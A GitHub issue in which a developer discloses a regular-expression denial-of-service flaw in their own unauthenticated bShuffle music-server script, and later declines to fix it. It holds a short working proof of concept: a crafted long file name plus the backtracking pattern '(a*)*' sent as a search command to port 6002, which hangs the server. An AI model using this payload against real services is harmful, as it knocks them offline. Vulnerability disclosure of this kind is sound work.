Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[vuln 01]: regular expression denial of service in bShuffle script #1

Open
1p22geo opened this issue Mar 18, 2024 · 1 comment
Open
Labels
bug Something isn't working

Comments

@1p22geo
Copy link
Owner

1p22geo commented Mar 18, 2024

The script at scripts/bshuffle, probably often used as a simple music server is vulnerable to a Regular Expression Denial of Service (REDoS) vulnerability.
Regular expressions are submitted in the network interface, from untrusted sources, since the app is not authenticated.
File names are not received from the internet, but services built upon bShuffle (such as the one I have at home) may have this functionality. In this case exploitation is simple:

1. Create a file in the music folder for bShuffle with the name as such:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab.mp4

2. Open a connection to port 6002 and submit this:

bsh> get files
Command acknowledged, ['get', 'files']
Files:
    ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab.mp4

bsh> search (a*)*
[[connection hangs]]

3. The server hangs, and possibly crashes.

Music either cannot be stopped (only via ssh-ing into the machine, and killing mplayer there) or doesn't play at all.

@1p22geo 1p22geo added the bug Something isn't working label Mar 18, 2024
@1p22geo
Copy link
Owner Author

1p22geo commented Jun 13, 2024

Nah, not gonna fix it. Just leaving this here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

1 participant